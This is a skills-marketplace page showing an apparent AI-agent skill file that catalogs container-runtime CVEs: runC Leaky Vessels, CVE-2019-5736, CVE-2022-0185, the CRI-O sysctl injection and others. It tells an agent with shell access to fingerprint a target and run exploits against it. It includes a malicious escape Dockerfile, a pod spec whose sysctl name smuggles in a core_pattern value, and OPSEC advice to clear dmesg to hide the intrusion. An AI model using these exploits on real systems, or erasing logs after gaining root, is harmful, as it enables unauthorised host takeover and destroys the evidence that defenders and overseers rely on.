Skip to main content

container-cve

High-impact container-runtime CVE catalog — runC Leaky Vessels (CVE-2024-21626/-23651/-23652/-23653), CVE-2022-0185 (FUSE/legacy-fs), CVE-2019-5736 (runC binary replace), CRI-O Dirty COW analogs, Kubernetes API server CVE-2019-11247 (custom-resource RBAC bypass). Fingerprint → match → exploit.

Ir a la instalación

Datos de origen

Repositorio
BitterSecurity/Decepticon
Última actividad en el origen
26 de mayo de 2026 a las 09:25
Idioma detectado de SKILL.md
inglés
Estrellas
5565
Forks
1053

Opciones de instalación

De forma predeterminada está seleccionado el prompt que primero revisa el origen. Puedes cambiar a un comando directo o descargar una copia local.

Revisa los archivos de origen

Lee SKILL.md y los archivos complementarios que muestra SkillsMP antes de decidir si quieres instalarlo.

Mostrando SKILL.md

SKILL.md
Instrucciones de origen · Vista previa de solo lectura
name
container-cve
description
High-impact container-runtime CVE catalog — runC Leaky Vessels (CVE-2024-21626/-23651/-23652/-23653), CVE-2022-0185 (FUSE/legacy-fs), CVE-2019-5736 (runC binary replace), CRI-O Dirty COW analogs, Kubernetes API server CVE-2019-11247 (custom-resource RBAC bypass). Fingerprint → match → exploit.
allowed-tools
Bash Read Write
metadata
{"when_to_use":"container cve runc cve-2024-21626 leaky vessels cve-2019-5736 cve-2022-0185 fuse symlink containerd cri-o k8s api server","subdomain":"cloud-native","tags":"container-runtime, cve, exploit","mitre_attack":"T1068, T1190, T1611"}
# Container-Runtime CVE Catalog When you've identified a container target, fingerprint the runtime stack, then check this catalog for a working exploit. Newest first. ## Fingerprint the stack ```bash # Inside the target container cat /etc/os-release # base image cat /proc/version # host kernel docker version 2>/dev/null # if you have client+socket ctr version 2>/dev/null runc --version 2>/dev/null # From kubelet metadata, if accessible: curl -k https://127.0.0.1:10250/runningpods | jq '.items[0].metadata' ``` ## Catalog ### CVE-2024-21626 — runC "Leaky Vessels" WORKDIR escape **Affects:** runC < 1.1.12, Docker < 25.0.3, containerd < 1.7.13, BuildKit < 0.12.5 **Primitive:** WORKDIR pointing at `/proc/self/fd/N` (where N is an open kernel FD) lets the container CWD escape into the host filesystem. ```bash # Build a malicious image cat > Dockerfile <<'EOF' FROM scratch WORKDIR /proc/self/fd/8 COPY pwn /pwn ENTRYPOINT ["/pwn"] EOF # Then run on target. Public PoC: github.com/snyk/leaky-vessels-static-detector ``` ### CVE-2024-23651/-23652/-23653 — BuildKit cache mount / RUN --mount escapes **Affects:** BuildKit < 0.12.5 **Primitive:** Crafted Dockerfile uses cache or bind mounts to leak / overwrite host files during `docker build`. ### CVE-2022-0185 — Linux FS context heap overflow **Affects:** Linux kernel < 5.16.2 (host kernel — affects every container running on it) **Primitive:** `fsopen()` syscall with a too-long string overflows the heap. CAP_SYS_ADMIN required, but trivial if the container has it. ```bash # PoC: github.com/Crusaders-of-Rust/CVE-2022-0185 # Container escape via kernel → host root. ``` ### CVE-2019-5736 — runC binary overwrite **Affects:** runC < 1.0.0-rc6, Docker < 18.09.2 **Primitive:** A malicious container can overwrite the runC binary on the host by exploiting how runC re-execs itself when handling `docker exec`. ```bash # PoC: github.com/feexd/pocs/blob/master/CVE-2019-5736/ # Still alive on old air-gapped + appliance fleets. ``` ### CVE-2019-14271 — Docker cp library injection **Affects:** Docker < 19.03.1 **Primitive:** `docker cp` loaded a libraries from inside the container, letting a malicious image overwrite `libnss_files.so.2` to RCE the docker daemon (= host root). ### CVE-2018-15664 — Docker cp TOCTOU symlink race **Affects:** Docker < 18.09.3 **Primitive:** Symlink race between `docker cp` resolving the source path and reading it lets you read/write arbitrary host files. ### Kubernetes CVE-2019-11247 — CR vs CRD RBAC bypass **Affects:** Kubernetes 1.7–1.15 **Primitive:** RBAC checks for CustomResources used the wrong API group, so a user with permission to a CR in one namespace could access CRs in any namespace. ### CRI-O CVE-2022-0811 — kernel sysctl injection **Affects:** CRI-O 1.19+ through 1.23 **Primitive:** Pod spec `securityContext.sysctls` accepted unescaped kernel parameters → container escape via `kernel.core_pattern`. ```yaml apiVersion: v1 kind: Pod metadata: name: pwn spec: containers: - name: pwn image: alpine securityContext: sysctls: - name: "kernel.shm_rmid_forced=1+kernel.core_pattern=|/proc/%P/fd/255 %P" value: "0" ``` ## Workflow 1. `cve_lookup` the runtime version (e.g., `runC 1.1.5`) and intersect with the catalog above. 2. `cve_poc_lookup` for a working PoC. 3. Try in a copy of the target environment first; container CVE exploits are often kernel-version-fragile. 4. If exploit yields root on host → see `k8s-pod-escape` for the post-escape pivot. ## OPSEC - All of these generate kernel audit / dmesg entries on success. dmesg ring buffer holds last ~1 MB — clear it (`dmesg -C`) if root. - The image-based exploits (WORKDIR, BuildKit) require pushing/pulling an attacker image — log line in image-pull events. ## References - snyk.io/research/leaky-vessels — runC CVE-2024-21626 chain - Aqua Security "Cloud Native Attack Matrix" — recent CVE coverage - DEFCON 30 "Kernel Heap Exploitation" — CVE-2022-0185 deep dive
Ver en GitHub